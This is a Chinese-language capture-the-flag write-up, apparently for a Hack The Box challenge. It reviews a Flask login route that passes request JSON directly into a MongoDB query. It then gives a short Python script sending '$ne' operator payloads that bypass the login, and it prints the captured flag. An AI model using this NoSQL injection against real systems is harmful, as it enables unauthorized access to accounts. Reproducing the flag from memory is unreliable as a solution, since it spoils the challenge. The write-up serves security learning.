题目描述

(有附件)
观察
打开网页:

查看源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from flask import Flask, Blueprint, render_template, redirect, jsonify, request from flask_bcrypt import Bcrypt from pymongo import MongoClient
app = Flask(__name__) app.config.from_object("application.config.Config") bcrypt = Bcrypt(app)
client = MongoClient(app.config["MONGO_URI"]) db = client[app.config["DB_NAME"]] users_collection = db["users"]
@app.errorhandler(Exception) def handle_error(error): message = error.description if hasattr(error, "description") else [str(x) for x in error.args] response = { "error": { "type": error.__class__.__name__, "message": message } }
return response, error.code if hasattr(error, "code") else 500
@app.route("/", methods=["GET"]) def index(): return render_template("index.html")
@app.route("/login", methods=["POST"]) def login(): content_type = request.headers.get("Content-Type")
if content_type == "application/x-www-form-urlencoded": email = request.form.get("email") password = request.form.get("password")
elif content_type == "application/json": data = request.get_json() email = data.get("email") password = data.get("password") else: return jsonify({"error": "Unsupported Content-Type"}), 400
user = users_collection.find_one({"email": email, "password": password})
if user: return render_template("candy.html", flag=open("flag.txt").read()) else: return redirect("/")
|
发现使用了MongoDB
进行验证:
1 2 3 4
| user = users_collection.find_one({"email": email, "password": password})
if user: return render_template("candy.html", flag=open("flag.txt").read())
|
如果在数据库里找到了对应的用户信息则登陆成功返回flag。
渗透
利用MongoDB的漏洞进行注入。我们发送以下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import requests
url = "http://94.237.53.247:51317/login"
payload = { "email": {"$ne": None}, "password": {"$ne": None} }
response = requests.post(url, json=payload)
print("Response Body:\n", response.text)
|
这样一来MongoDB里的查询会被解释成:
1
| {"email": {"$ne": null}, "password": {"$ne": null}}
|
也就是说会查找 email 不为 null 且 password 不为 null 的任意用户。这样便可以绕过登录验证。
得到flag:HTB{s4y_h1_t0_th3_c4andy_v4u1t!} 。
也可以发送:
1 2 3 4
| payload = { "email": {"$ne": 0}, "password": {"$ne": 0} }
|
是一样的。